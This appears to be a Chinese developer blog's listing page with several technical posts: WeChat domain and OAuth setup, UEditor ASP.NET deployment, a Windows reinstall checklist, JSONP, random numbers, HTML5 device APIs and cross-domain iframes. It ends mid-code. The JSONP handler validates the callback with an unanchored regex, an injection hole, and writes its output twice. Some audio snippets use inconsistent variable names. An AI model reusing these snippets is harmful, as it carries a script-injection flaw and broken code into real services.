博客 (118)

在开发微信中的网页时,会遇到一些域名相关的配置:

① 公众号设置 - 功能设置 - 业务域名
② 公众号设置 - 功能设置 - JS接口安全域名
③ 接口权限 - 网页授权获取用户基本信息
④ 商户平台 - 产品中心 - 开发配置 - JSAPI支付授权目录
⑤ 小程序 - 开发 - 开发设置 - 业务域名
⑥ 公众号开发 - 基本设置 - IP白名单

 

第①种 业务域名:相对不重要,只是用来禁止显示“防欺诈盗号,请勿支付或输入qq密码”提示框,可配置 3 个二级或二级以上域名(个人理解是“非顶级域名”,即填写了 b.a.com 的话,对 c.b.a.com 不起作用,待测)。

我们网站的域名和公众号是没有绑定关系的,那么你在打开一个(可能是朋友分享的)网页时,跟哪个公众号的配置去关联呢,答案是 JS-SDK。

测试结果:由于一个月只有3次修改机会,这次先测二级域名,有效;再测顶级域名,有效;删除所有,仍有效。所以应该是缓存作用。过几天再试,然后下个月先测顶级域名,来确定直接填写顶级域名是否对所有二级域名有效。

 

第②种 JS接口安全域名:是配置所配置的域名下的网页可调用 JS-SDK。可配置 5 个一级或一级以上域名(个人理解是“任何级域名”,即填写了 b.a.com 对 c.b.a.com 也有效,但对 c.z.a.com 无效,待测。如果我们拥有顶级域名对应网站的控制权(上传验证文件到网站根目录),直接填写顶级域名即可)。
使用 JS-SDK 的每个网页都必须注入配置信息(wx.config),而之前必须获取 jsapi_ticket,jsapi_ticket api 的调用次数非常有限,必须全局缓存。而获取 jsapi_ticket 之前必须先获取 access_token,同样需要全局缓存。所以,我们专门做个接口,功能是传入需要使用 JS-SDK 的网页的 url,输出 wx.config 需要用到的配置信息,来实现在不同网页(网站)使用 JS-SDK。

 

第③种 网页授权域名:这是已认证的服务号才能享有的特权,主要作用是获取用户在该服务号中的 openidunionid。可配置 1 个 2 个回调域名(可填写任意级别的域名,但仅对该域名的网页(网站)有效,若填写了 a.comb.a.com 是无效的)。

因此,如果我们需要在不同二级域名甚至不同顶级域名下的网页(以下称之为活动页面)实现用户授权,需要做一个统一的代理授权页面(回调域名当然是填写这个页面所在的域名),引导用户依次打开:微信授权页面 - 代理授权页面 - 活动页面,根据开发说明文档,具体实现如下:

当用户第一次打开活动页面时,引导打开微信授权页面(https://open.weixin.qq.com/connect/oauth2/authorize),其中参数 redirect_uri 指定回调地址,即代理授权页面地址,参数 state 指定活动页面地址。微信授权页面返回 code 和 state,code 作为换取网页授权 access_token 的票据。到这一步,本来可以由代理授权页面直接拿这个 code 去换取 access_token、openid 和 unionid 了,但是由于当前用户还在 302 重定向过程中,将这些信息带入到活动页面时势必导致信息泄露,所以这里将 code 追加到 state 指定的网址上后重定向到活动页面,活动页面拿到 code 再通过服务器端向代理授权页面所在服务器请求 openid 和 unionid,并将它们保存于 Session 中视为用户登录。这样,服务号的 appid 和 secret 也能得到保护。代理授权页面请求的微信服务器接口地址是 https://api.weixin.qq.com/sns/oauth2/access_token

注:网页授权 access_token 不同于 JS-SDK 中使用的全局唯一接口调用凭据 access_token,没有请求次数限制。 

流程既然通了,实现逻辑可以这样设定:

活动页面首先判断 Session 中是否有 openid 或 unionid,若有表示已授权登录;没有再判断地址栏是否有 code 参数,若有则调用代理授权页面所在服务器的接口,用 code 换 openid 和 unionid;没有则直接重定向到代理授权页面,带上 state。用 code 换 openid 和 unionid 时若成功则保存至 Session,若失败则仍然重定向到代理授权页面,带上 state,特别注意 state 中的活动页面地址确保没有 code 参数。


第④种 JSAPI支付授权目录:涉及到微信支付时用到,顾名思义是固定某一个网站内的某个目录,以“/”结尾。最多可添加 5 个。如果支付页面在目录 https://www.a.com/b/ 下,那么可以填写 https://www.a.com/b/ 或 https://www.a.com/(建议后者),暂未测试填写 https://a.com/ 会不会起作用。涉及支付安全,建议设置支付页面的最深一层不可写的目录,以防目录内被上传后门文件带来的安全隐患。


第⑤种 小程序业务域名:任何需要在小程序的 web-view 组件中打开的网页,都必须配置小程序业务域名,限制 20 个。该域名要求必须 https,可填入“任何级域名”(建议填顶级域名,即填写了 a.com 对 b.a.com 也有效。如果我们拥有顶级域名对应网站的控制权(上传验证文件到网站根目录),直接填写顶级域名即可)。


第⑥种 IP白名单:仅填写管理全局 access_token 的中控服务器的 IP。

 

总结:在上述自定义接口部署完成后,如果微信中的网页想获取用户的 unionid,则不需要配置域名,直接使用统一的代理授权即可;如果需要使用 JS-SDK 功能,如分享、上传等等,则需要配置 JS 接口安全域名;如果有表单,最好配置一下业务域名。


本文系个人经验总结,部分结果未经证实,欢迎指正!QQ:940534113

xoyozo 9 年前
9,585

在 ASP.NET Core 或 ASP.NET 5 中部署百度编辑器请跳转此文


本文记录百度编辑器 ASP.NET 版的部署过程,对其它语言版本也有一定的参考价值。

【2020.02.21 重新整理】


下载

从 GitHub 下载最新发布版本:https://github.com/fex-team/ueditor/releases

按编码分有 gbk 和 utf8 两种版本,按服务端编程语言分有 asp、jsp、net、php 四种版本,按需下载。


目录介绍

以 v1.4.3.3 utf8-net 为例,

ueditor 目录结构.png


客户端部署

本例将上述所有目录和文件拷贝到网站目录 /libs/ueditor/ 下。

当然也可以引用 CDN 静态资源,但会遇到诸多跨域问题,不建议。

在内容编辑页面引入:

<script src="/libs/ueditor/ueditor.config.js"></script>
<script src="/libs/ueditor/ueditor.all.min.js"></script>

在内容显示页面引入:

<script src="/libs/ueditor/ueditor.parse.min.js"></script>

如需修改编辑器资源文件根路径,参 ueditor.config.js 文件内顶部文件。(一般不需要单独设置)

如果使用 CDN,那么在初始化 UE 实例的时候应配置 serverUrl 值(即 controller.ashx 所在路径)。


客户端配置

初始化 UE 实例:

var ue = UE.getEditor('tb_content', {
    // serverUrl: '/libs/ueditor/net/controller.ashx', // 指定服务端接收文件路径
    initialFrameWidth: '100%'
});

其它参数见官方文档,或 ueditor.config.js 文件。


服务端部署

net 目录是 ASP.NET 版的服务端程序,用来实现接收上传的文件等功能。

本例中在网站中的位置是 /libs/ueditor/net/。如果改动了位置,那么在初始化 UE 的时候也应该配置 serverUrl 值。

这是一个完整的 VS 项目,可以单独部署为一个网站。其中:

net/config.json  服务端配置文件
net/controller.ashx  文件上传入口
net/App_Code/CrawlerHandler.cs  远程抓图动作
net/App_Code/ListFileManager.cs  文件管理动作
net/App_Code/UploadHandler.cs  上传动作

该目录不需要转换为应用程序。


服务端配置

根据 config.json 中 *PathFormat 的默认配置,一般地,上传的图片会保存在 controller.ashx 文件所在目录(即本例中的 /libs/ueditor/)的 upload 目录中:
/libs/ueditor/upload/image/
原因是 UploadHandler.cs 中 Server.MapPath 的参数是由 *PathFormat 决定的。

修改 config.json 中的 imagePathFormat 为例:

原值:"imagePathFormat": "upload/image/{yyyy}{mm}{dd}/{time}{rand:6}"

改为:"imagePathFormat": "/upload/ueditor/{yyyy}{mm}{dd}/{time}{rand:6}"

以“/”开始的路径在 Server.MapPath 时会定位到网站根目录。

此处不能以“~/”开始,因为最终在客户端显示的图片路径是 imageUrlPrefiximagePathFormat,若其中包含符号“~”就无法正确显示。

在该配置文件中查找所有 PathFormat,按相同的规则修改。


说到客户端的图片路径,我们只要将

原值:"imageUrlPrefix": "/ueditor/net/"

改为:"imageUrlPrefix": ""

即可返回客户端正确的 URL。

当然也要同步修改 scrawlUrlPrefix、snapscreenUrlPrefix、catcherUrlPrefix、videoUrlPrefix、fileUrlPrefix。


特殊情况,在复制包含图片的网页内容的操作中,若图片地址带“?”等符号,会出现无法保存到磁盘的情况,需要修改以下代码:

打开  CrawlerHandler.cs 文件,找到

ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat"));

替换成:

ServerUrl = PathFormatter.Format(Path.GetFileName(SourceUrl.Contains("?") ? SourceUrl.Substring(0, SourceUrl.IndexOf("?")) : SourceUrl), Config.GetString("catcherPathFormat"));


如果你将图片保存到第三方图库,那么 imageUrlPrefix 值设为相应的域名即可,如:

改为:"imageUrlPrefix": "//cdn.***.com"

然后在 UploadHandler.cs 文件(用于文件上传)中找到

File.WriteAllBytes(localPath, uploadFileBytes);

在其下方插入上传到第三方图库的代码,以阿里云 OSS 为例:

// 上传到 OSS
client.PutObject(bucketName, savePath.Substring(1), localPath);

在 CrawlerHandler.cs 文件(无程抓图上传)中找到

File.WriteAllBytes(savePath, bytes);

在其下方插入上传到第三方图库的代码,以阿里云 OSS 为例:

// 上传到 OSS
client.PutObject(bucketName, ServerUrl.Substring(1), savePath);


最后有还有两个以 UrlPrefix 结尾的参数名 imageManagerUrlPrefix 和 fileManagerUrlPrefix 分别是用来列出上传目录中的图片和文件的,

对应的操作是在编辑器上的“多图上传”功能的“在线管理”,和“附件”功能的“在线附件”。

最终列出的图片路径是由 imageManagerUrlPrefiximageManagerListPath + 图片 URL 组成的,那么:

"imageManagerListPath": "/upload/ueditor/image",

"imageManagerUrlPrefix": "",

以及:

"fileManagerListPath": "/upload/ueditor/file",

"fileManagerUrlPrefix": "",

即可。

如果是上传到第三方图库的,且图库上的文件与本地副本是一致的,那么将 imageManagerUrlPrefix 和 fileManagerUrlPrefix 设置为图库域名,

服务端仍然以 imageManagerListPath 指定的路径来查找本地文件(非图库),但客户端显示图库的文件 URL。

因此,如果文件仅存放在图库上,本地没有副本的情况就无法使用该功能了。

综上,所有的 *UrlPrefix 应该设为一致。


另外记得配置不希望被远程抓图的域名,参数 catcherLocalDomain


服务端授权

现在来判断一下只有登录用户才允许上传。

首先打开服务端的统一入口文件 controller.ashx

继承类“IHttpHandler”改为“IHttpHandler, System.Web.SessionState.IRequiresSessionState”,即同时继承两个类,以便可使用 Session,
找到“switch”,其上插入:

if (用户未登录) { throw new System.Exception("请登录后再试"); }

即用户已登录或 action 为获取 config 才进入 switch。然后,

else
{
    action = new NotAllowedHandler(context);
}

这里的 NotAllowedHandler 是参照 NotSupportedHandler 创建的,提示语 state 可以是“登录后才能进行此操作。


上传目录权限设置

上传目录(即本例中的 /upload/ueditor/ 目录)应设置允许写入和禁止执行。


基本用法

设置内容:

ue.setContent("Hello world.");

获取内容:

var a = ue.getContent();

更多用法见官方文档:http://fex.baidu.com/ueditor/#api-common


其它事宜

配置上传附件的文件格式

找到文件:config.json,更改“上传文件配置”的 fileAllowFiles 项,

同时在 Web 服务器上允许这些格式的文件可访问权限。以 IIS 为例,在“MIME 类型”模块中添加扩展名。


遇到从客户端(......)中检测到有潜在危险的 Request.Form 值。参考此文


另外,对于不支持上传 .webp 类型的图片的问题,可以作以下修改:
config.json 中搜索“".bmp"”,替换为“".bmp", ".webp"
IIS 中选中对应网站或直接选中服务器名,打开“MIME 类型”,添加,文件扩展名为“.webp”,MIME 类型为“image/webp


最后,为了在内容展示页面看到跟编辑器中相同的效果,请参照官方文档引用 uParse

若有插入代码,再引用:
<link href="/lib/ueditor/utf8-net/third-party/SyntaxHighlighter/shCoreDefault.css" rel="stylesheet" />
<script src="/lib/ueditor/utf8-net/third-party/SyntaxHighlighter/shCore.js"></script>

其它插件雷同。


若对编辑器的尺寸有要求,在初始化时设置即可:

var ue = UE.getEditor('tb_content', {

  initialFrameWidth: '100%',
  initialFrameHeight: 320
});


图片等附件上传到阿里云 OSS 参考此文

xoyozo 10 年前
7,980

这里仅记录我个人的安装过程,仅供参考。

安装前的准备

  • 手动备份:数据库、浏览器收藏夹、FTP 站点、Navicat 连接、远程桌面、RaiDrive(点登录)、RSS源、虚拟机镜像、“下载”目录、“桌面”目录、开机启动程序、任务计划程序iPhone 备份(C:\Users\[用户名]\Apple\MobileSync\Backup)、浏览器插件、自动备份中的差异化文件。

  • 推荐的 Edge 扩展(登录账号会自动同步):Charset、Feedbro、IP Address and Domain Information、JSON Beautifier and Editor、Kimi 浏览器助手、JSONView、Pretty Js、User-Agent Switcher and Manager、Wappalyzer、图片助手(ImageAssistant) 批量图片下载器、猫抓、网页更新提醒、xoyozo 的冲浪助手

  • 桌面图标和开始菜单截图。桌面如果是手动排序图标的,先按分类归入文件夹,以方便系统恢复后按分类摆放。

  • 备份:桌面、Chrome 用户目录、聊天记录、快捷回复、项目、hosts 文件。

    像 QQ、TIM、微信、旺旺、千牛 等即时聊天工具,最好将数据文件目录拷贝一份(包含图片视频等),再打开软件登录帐号进行记录备份(一般不含图片视频等)。这样,在重装系统后,如果还原拷贝的聊天文件不能供聊天软件使用,可以用备份数据恢复。

  • 备份剪映目录,否则重装后需要重新下载素材/字体等,位置:C:\用户\AppData\Local\JianyingPro\User Data\

  • 备份到移动硬盘或 NAS

  • 排查以上未提及的新软件或新设置是否有需要处理或备份的。

  • 清空回收站

  • 确定系统盘所在硬盘和分区和大小,避免在格式化时选错硬盘分区。

  • 外星人电脑开机按 F2 进入 BIOS,F12 选择启动设备。

设置

  • 这台电脑(右键)- 属性 - 高级系统设置 - 高级 - 性能设置 - 高级 - 更改 - 去掉“自动管理所有驱动器的分布文件大小”前的勾,选择 SSD 分区的分布文件为系统管理的大小,点设置,其它分区无分布文件,点设置 - 确定

  • 以上是在 SSD 空间足够的情况下,如果不足,那么可以分配到其它分区。

  • Windows 更新、并在高级选项中开启(更新 Windows 时接收其它 Microsoft 产品的更新)

安装驱动

  • 目前的 Windows Update 已经可以安装大部分驱动了,如果设备管理器中还有警示图标,或者有些硬件功能不能启用,那么可以前往对应品牌的官网下载,如联想驱动安装工具戴尔驱动程序,其它可使用驱动精灵

安装 Office

  • 安装 Office 批量授权版

  • 立即安装即可,不要更改路径。

恢复数据

  • Chrome 目录(C:\Users\[用户名]\AppData\Local\Google\Chrome\User Data\Default\)

  • QQ 记录(默认路径:C:\Users\[用户名]\Documents\Tencent Files)

  • 微信记录(默认路径:C:\Users\[用户名]\Documents\WeChat Files),微信记录可能会不能使用

  • 视情况删除非系统盘的 \Program Files、\Program Files (x86)、\Users\xoyozo\AppData 等

应用程序

  • 安装 Edge。

  • 先安装 SQL Server,再安装 Visual Studio(如欲同时安装低版本 VS,先安装低版本,再安装高版本)

  • 安装 Adobe

  • 安装其它软件

  • 替换 hosts,若出现安全软件警告,信任即可。

激活 Windows、Office、Adobe 等:

细节

  • Win10 任务栏单击“文件资源管理器”打开“此电脑”的设置方法:打开任意文件资源管理器窗口,菜单 - 查看 - 选项,将“打开文件资源管理器时打开”改为“此电脑”

  • Win10 任务栏日期显示星期:控制面板 - 更改日期、时间和数字格式 - 其他设置 - 日期,将短日期改为:yyyy/M/d ddd

  • 如何在 Windows 11 任务栏时间上显示“秒”

  • 随系统启动程序的目录(所有用户):C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

  • 随系统启动程序的目录(单个用户):C:\用户\[用户名]\AppData\Roaming\Microsoft\Windows\「开始」菜单\程序\启动,(即:C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

  • 自带的微软五笔已经提供五笔拼音混打了,所以抛弃QQ五笔了

  • Win10系统怎样让打开图片方式为照片查看器

  • 设置 Navicat 自动运行。

  • 设置电源相关

  • SQL Server 按需设置启动/禁用:SQL Server 配置管理器 - SQL Server 服务 - 右侧双击选择实例 - 切换到“服务”选项卡 - 启动模式


xoyozo 11 年前
17,917

jQuery 请求代码:

$.ajax({
  url: "xxxxxx",
  //method: "GET", // 默认 GET(当 dataType 为 jsonp 时此参数无效,始终以 GET 方式请求)
  data: $('#myForm').serialize(), // 要传递的参数,这里提交表单 myForm 的内容
  dataType: "jsonp"
  //, jsonp: "callback" // 请求中的回调函数的参数名,默认值 callback
  //, jsonpCallback: "jQuery_abc" // 本地回调函数名,不指定则随机
})
  .done(function () {
    alert("done");
    if (true) {
      $('#myForm')[0].reset();
    }
  })
  .fail(function () { alert("fail"); })
  .always(function () { alert("complete"); });

ASP.NET 处理代码:

JavaScriptSerializer jss = new JavaScriptSerializer();

string json = jss.Serialize(new { result = new { success = true, msg = "成功" } });

if (!string.IsNullOrWhiteSpace(Request["callback"])
  && Regex.IsMatch(Request["callback"], @"[_$a-zA-Z][$\w]*"))
{
  Response.ContentType = "application/javascript; charset=utf-8";
  Response.Write(json + Request["callback"] + "(" + json + ")");
}
else
{
  Response.ContentType = "application/json; charset=utf-8";
  Response.Write(json);
}

Response.End();
xoyozo 10 年前
5,638

0 <= n < 1

var n = Math.random();

0 <= n < 100

var n = Math.random() * 100;

10 <= n < 100

var n = Math.random() * (100 - 10) + 10;

若需要生成整数,则使用 Math.floor() 方法进行下舍入即可:

0 <= n < 100(n 为整数):

var n = Math.floor(Math.random() * 100);

10 <= n < 100(n 为整数):

var n = Math.floor(Math.random() * (100 - 10) + 10);

换句话说,

0 <= n <= 99(n 为整数):

var n = Math.floor(Math.random() * (99 + 1));

10 <= n <= 99(n 为整数):

var n = Math.floor(Math.random() * (99 + 1 - 10) + 10);

总结公式,要生成 min <= n <= max 的整数:

var n = Math.floor(Math.random() * (max + 1 - min) + min);
xoyozo 10 年前
6,183

tgideas-html5-api-test-1-1

编者按:今天腾讯万技师同学的这篇技术总结必须强烈安利下,目录清晰,层次分明,每个接口都有对应的简介、系统要求、实例、核心代码以及超实用的思维发散,帮你直观把这些知识点get起来。以现在HTML 5的势头,同志们,你看到的这些,可都是钱呐。

十二年前,无论多么复杂的布局,在我们神奇的table面前,都不是问题;

十年前,阿捷的一本《网站重构》,为我们开启了新的篇章;

八年前,我们研究yahoo.com,惊叹它在IE5下都表现得如此完美;

六年前,Web标准化成了我们的基础技能,我们开始研究网站性能优化;

四年前,我们开始研究自动化工具,自动化测试,谁没玩过nodejs都不好意思说是页面仔;

二年前,各种终端风起云涌,响应式、APP开发都成为了我们研究的范围,CSS3动画开始风靡;

如今,CSS3动画、Canvas、SVG、甚至webGL你已经非常熟悉,你是否开始探寻,接下来,我们可以玩什么,来为我们项目带来一丝新意?

没错,本文就是以HTML5 Device API为核心,对HTML5的一些新接口作了一个完整的测试,希望能让大家有所启发。

目录:

一、让音乐随心而动 – 音频处理 Web audio API
二、捕捉用户摄像头 – 媒体流 Media Capture
三、你是逗逼? – 语音识别 Web Speech API
四、让我尽情呵护你 – 设备电量 Battery API
五、获取用户位置 – 地理位置 Geolocation API
六、把用户捧在手心 – 环境光 Ambient Light API
七、陀螺仪 Deviceorientation
八、Websocket
九、NFC
十、震动 - Vibration API
十一、网络环境 Connection API

一、让音乐随心而动 – 音频处理 Web audio API

简介:

Audio对象提供的只是音频文件的播放,而Web Audio则是给了开发者对音频数据进行分析、处理的能力,比如混音、过滤。

系统要求:

ios6+、android chrome、android firefox

实例:

http://sy.qq.com/brucewan/device-api/web-audio.html

核心代码:

var context = new webkitAudioContext();
var source = context.createBufferSource();   // 创建一个声音源
source.buffer = buffer;   // 告诉该源播放何物 
createBufferSourcesource.connect(context.destination);   // 将该源与硬件相连
source.start(0); //播放

技术分析:

当我们加载完音频数据后,我们将创建一个全局的AudioContext对象来对音频进行处理,AudioContext可以创建各种不同功能类型的音频节点AudioNode,比如

1、源节点(source node)

我们可以使用两种方式加载音频数据:
<1>、audio标签

var sound, audio = new Audio();
audio.addEventListener('canplay', function() {
 sound = context.createMediaElementSource(audio);
 sound.connect(context.destination);
});
audio.src = '/audio.mp3';

<2>、XMLHttpRequest

var sound, context = createAudioContext();
var audioURl = '/audio.mp3'; // 音频文件URL
var xhr = new XMLHttpRequest();
xhr.open('GET', audioURL, true);
xhr.responseType = 'arraybuffer'; 
xhr.onload = function() {
 context.decodeAudioData(request.response, function (buffer) {
 source = context.createBufferSource();
 source.buffer = buffer;
 source.connect(context.destination);
 }
}
xhr.send();

2、分析节点(analyser node)

我们可以使用AnalyserNode来对音谱进行分析,例如:

var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
var analyser = audioCtx.createAnalyser();
analyser.fftSize = 2048;
var bufferLength = analyser.frequencyBinCount;
var dataArray = new Uint8Array(bufferLength);
analyser.getByteTimeDomainData(dataArray);

function draw() {
 drawVisual = requestAnimationFrame(draw);
 analyser.getByteTimeDomainData(dataArray);
 // 将dataArray数据以canvas方式渲染出来
};

draw();

3、处理节点(gain node、panner node、wave shaper node、delay node、convolver node等)

不同的处理节点有不同的作用,比如使用BiquadFilterNode调整音色(大量滤波器)、使用ChannelSplitterNode分割左右声道、使用GainNode调整增益值实现音乐淡入淡出等等。

需要了解更多的音频节点可能参考:
https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API

4、目的节点(destination node)

所有被渲染音频流到达的最终地点

思维发散:

1、可以让CSS3动画跟随背景音乐舞动,可以为我们的网页增色不少;
2、可以尝试制作H5酷酷的变声应用,增加与用户的互动;
3、甚至可以尝试H5音乐创作。

看看google的创意:http://v.youku.com/v_show/id_XNTk0MjQyNDMy.html

二、捕捉用户摄像头 – 媒体流 Media Capture

简介:

通过getUserMedia捕捉用户摄像头获取视频流和通过麦克风获取用户声音。

系统要求:

android chrome、android firefox

实例:

捕获用户摄像头 捕获用户麦克风

http://sy.qq.com/brucewan/device-api/camera.html

http://sy.qq.com/brucewan/device-api/microphone-usermedia.html

核心代码:

1、摄像头捕捉

navigator.webkitGetUserMedia ({video: true}, function(stream) {
 video.src = window.URL.createObjectURL(stream);
 localMediaStream = stream;
}, function(e){

})

2、从视频流中拍照

btnCapture.addEventListener('touchend', function(){
	if (localMediaStream) {
		canvas.setAttribute('width', video.videoWidth);
		canvas.setAttribute('height', video.videoHeight);
		ctx.drawImage(video, 0, 0);
	}
}, false);

3、用户声音录制

navigator.getUserMedia({audio:true}, function(e) {
	context = new audioContext();
	audioInput = context.createMediaStreamSource(e);	
	volume = context.createGain();
	recorder = context.createScriptProcessor(2048, 2, 2);
	recorder.onaudioprocess = function(e){
		recordingLength += 2048;
		recorder.connect (context.destination); 
	}	
}, function(error){});

4、保存用户录制的声音

var buffer = new ArrayBuffer(44 + interleaved.length * 2);
var view = new DataView(buffer);
fileReader.readAsDataURL(blob); // android chrome audio不支持blob
… audio.src = event.target.result;

思维发散:

1、从视频拍照自定义头像;
2、H5视频聊天;
3、结合canvas完成好玩的照片合成及处理;
4、结合Web Audio制作有意思变声应用。

三、你是逗逼? – 语音识别 Web Speech API简介:

1、将文本转换成语音;
2、将语音识别为文本。

系统要求:
ios7+,android chrome,android firefox

测试实例:

http://sy.qq.com/brucewan/device-api/microphone-webspeech.html

核心代码:

1、文本转换成语音,使用SpeechSynthesisUtterance对象;

var msg = new SpeechSynthesisUtterance();
var voices = window.speechSynthesis.getVoices();
msg.volume = 1; // 0 to 1
msg.text = ‘识别的文本内容’;
msg.lang = 'en-US';
speechSynthesis.speak(msg);

2、语音转换为文本,使用SpeechRecognition对象。

var newRecognition = new webkitSpeechRecognition();
newRecognition.onresult = function(event){
	var interim_transcript = ''; 
	for (var i = event.resultIndex; i < event.results.length; ++i) {
		final_transcript += event.results[i][0].transcript;
	}
};

测试结论:

1、Android支持不稳定;语音识别测试失败(暂且认为是某些内置接口被墙所致)。

思维发散:

1、当语音识别成为可能,那声音控制将可以展示其强大的功能。在某些场景,比如开车、网络电视,声音控制将大大改善用户体验;
2、H5游戏中最终分数播报,股票信息实时声音提示,Web Speech都可以大放异彩。

 四、让我尽情呵护你 – 设备电量 Battery API简介:

查询用户设备电量及是否正在充电。

系统要求:

android firefox

测试实例:

http://sy.qq.com/brucewan/device-api/battery.html

核心代码:

var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery || navigator.msBattery;
var str = '';
if (battery) {
 str += '<p>你的浏览器支持HTML5 Battery API</p>';
 if(battery.charging) {
 str += '<p>你的设备正在充电</p>';
} else {
 str += '<p>你的设备未处于充电状态</p>';
}
 str += '<p>你的设备剩余'+ parseInt(battery.level*100)+'%的电量</p>';
} else {
 str += '<p>你的浏览器不支持HTML5 Battery API</p>';
}

测试结论:

1、QQ浏览器与UC浏览器支持该接口,但未正确显示设备电池信息;
2、caniuse显示android chrome42支持该接口,实测不支持。

思维发散:

相对而言,我觉得这个接口有些鸡肋。
很显然,并不合适用HTML5做电池管理方面的工作,它所提供的权限也很有限。
我们只能尝试做一些优化用户体验的工作,当用户设备电量不足时,进入省电模式,比如停用滤镜、摄像头开启、webGL、减少网络请求等。

 五、获取用户位置 – 地理位置 Geolocation简介:

Geolocation API用于将用户当前地理位置信息共享给信任的站点,目前主流移动设备都能够支持。

系统要求:

ios6+、android2.3+

测试实例:

http://sy.qq.com/brucewan/device-api/geolocation.html

核心代码:

var domInfo = $("#info");

// 获取位置坐标
if (navigator.geolocation) {
	navigator.geolocation.getCurrentPosition(showPosition,showError);
}
else{
	domInfo.innerHTML="抱歉,你的浏览器不支持地理定位!";
}

// 使用腾讯地图显示位置
function showPosition(position) {
	var lat=position.coords.latitude;
	var lon=position.coords.longitude;

	mapholder = $('#mapholder')
	mapholder.style.height='250px';
	mapholder.style.width = document.documentElement.clientWidth + 'px';

	var center = new soso.maps.LatLng(lat, lon);
	var map = new soso.maps.Map(mapholder,{
		center: center,
		zoomLevel: 13
	});

	var geolocation = new soso.maps.Geolocation();
	var marker = null;
	geolocation.position({}, function(results, status) {
		console.log(results);
		var city = $("#info");
		if (status == soso.maps.GeolocationStatus.OK) {
			map.setCenter(results.latLng);
			domInfo.innerHTML = '你当前所在城市: ' + results.name;
		if (marker != null) {
			marker.setMap(null);
		}
		// 设置标记
		marker = new soso.maps.Marker({
			map: map,
			position:results.latLng
		});
		} else {
			alert("检索没有结果,原因: " + status);
		}
	});
}

测试结论:

1、Geolocation API的位置信息来源包括GPS、IP地址、RFID、WIFI和蓝牙的MAC地址、以及GSM/CDMS的ID等等。规范中没有规定使用这些设备的先后顺序。
2、初测3g环境下比wifi环境理定位更准确;
3、测试三星 GT-S6358(android2.3) geolocation存在,但显示位置信息不可用POSITION_UNAVAILABLE。

六、把用户捧在手心 – 环境光 Ambient Light简介:

Ambient Light API定义了一些事件,这些时间可以提供源于周围光亮程度的信息,这通常是由设备的光感应器来测量的。设备的光感应器会提取出辉度信息。

系统要求:

android firefox

测试实例:

http://sy.qq.com/brucewan/device-api/ambient-light.html

核心代码:

这段代码实现感应用前当前环境光强度,调整网页背景和文字颜色。


var domInfo = $('#info');
if (!('ondevicelight' in window)) {
	domInfo.innerHTML = '你的设备不支持环境光Ambient Light API';
} else {
	var lightValue = document.getElementById('dl-value');
	window.addEventListener('devicelight', function(event) {
		domInfo.innerHTML = '当前环境光线强度为:' + Math.round(event.value) + 'lux';
		var backgroundColor = 'rgba(0,0,0,'+(1-event.value/100) +')';
		document.body.style.backgroundColor = backgroundColor;
		if(event.value < 50) {
			document.body.style.color = '#fff'
		} else {
			document.body.style.color = '#000'
		}
	});
}

思维发散:

该接口适合的范围很窄,却能做出很贴心的用户体验。

1、当我们根据Ambient Light强度、陀螺仪信息、当地时间判断出用户正躺在床上准备入睡前在体验我们的产品,我们自然可以调整我们背景与文字颜色让用户感觉到舒适,我们还可以来一段安静的音乐,甚至使用Web Speech API播报当前时间,并说一声“晚安”,何其温馨;

2、该接口也可以应用于H5游戏场景,比如日落时分,我们可以在游戏中使用安静祥和的游戏场景;

3、当用户在工作时间将手机放在暗处,偷偷地瞄一眼股市行情的时候,我们可以用语音大声播报,“亲爱的,不用担心,你的股票中国中车马上就要跌停了”,多美的画面。

参考文献:
https://developer.mozilla.org/en-US/docs/Web/API
http://webaudiodemos.appspot.com/
http://www.w3.org/2009/dap/

转自 万技师 10 年前
4,266

1. 跨子域的iframe高度自适应

2. 完全跨域的iframe高度自适应

 

同域的我们可以轻松的做到

1. 父页面通过iframe的contentDocument或document属性访问到文档对象,进而可以取得页面的高度,通过此高度值赋值给iframe tag。

2. 子页面可以通过parent访问到父页面里引入的iframe tag,进而设置其高度。

 

但跨域的情况则不允许对子页面或父页面的文档进行访问(返回undefined),所以我们要做的就是打通或间接打通这个壁垒。

 

一、跨子域的iframe高度自适应

比如 'a.jd.com/3.html' 嵌入了 'b.jd.com/4.html',这种跨子域的页面

3.html

1

2

3

4

5

6

7

8

9

10

11

12

13

<!DOCTYPE html>

<html>

  <head>

    <meta charset='utf-8' />

    <title>1.html</title>

    <script type="text/javascript">

        document.domain = 'jd.com'

    </script>

  </head>

  <body>

     <iframe id="ifr" src="b.jd.com/4.html" frameborder="0" width="100%"></iframe>

  </body>

</html>

4.html

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

<!DOCTYPE html>

<html>

  <head>

    <meta charset="utf-8">

    <title>2.html</title>

    <script type="text/javascript">

        document.domain = 'jd.com'

    </script>

  </head>

  <body>

     <p>这是一个ifrmae,嵌入在3.html里 </p>

     <p>根据自身内容调整高度</p>

     <p>a</p><p>a</p><p>a</p><p>a</p><p>a</p><p>a</p><p>a</p><p>a</p>

<script>

    // 计算页面的实际高度,iframe自适应会用到

    function calcPageHeight(doc) {

        var cHeight = Math.max(doc.body.clientHeight, doc.documentElement.clientHeight)

        var sHeight = Math.max(doc.body.scrollHeight, doc.documentElement.scrollHeight)

        var height  = Math.max(cHeight, sHeight)

        return height

    }

    window.onload = function() {

        var height = calcPageHeight(document)

        parent.document.getElementById('ifr').style.height = height + 'px'     

    }

</script>

  </body>

</html>

可以看到与上一篇对比,只要在两个页面里都加上document.domain就可以了

 

二、完全跨域的iframe高度自适应

分别有以下资源

  • 页面 A:http://snandy.github.io/lib/iframe/A.html
  • 页面 B:http://snandy.github.io/lib/iframe/B.html
  • 页面 C:http://snandy.jd-app.com
  • D.js:http://snandy.github.io/lib/iframe/D.js

这四个资源有如下关系

1. A里嵌入C,A和C是不同域的,即跨域iframe

2. C里嵌入B,C和B是不同域的,但A和B是同域的

3. C里嵌入D.js,D.js放在和A同域的项目里

 

通过一个间接方式实现,即通过一个隐藏的B.html来实现高度自适应。

A.html

嵌入页面C: http://snandy.jd-app.com 

1

2

3

4

5

6

7

8

9

10

<!DOCTYPE html>

<html>

  <head>

    <meta charset='utf-8' />

    <title>A.html</title>

  </head>

  <body>

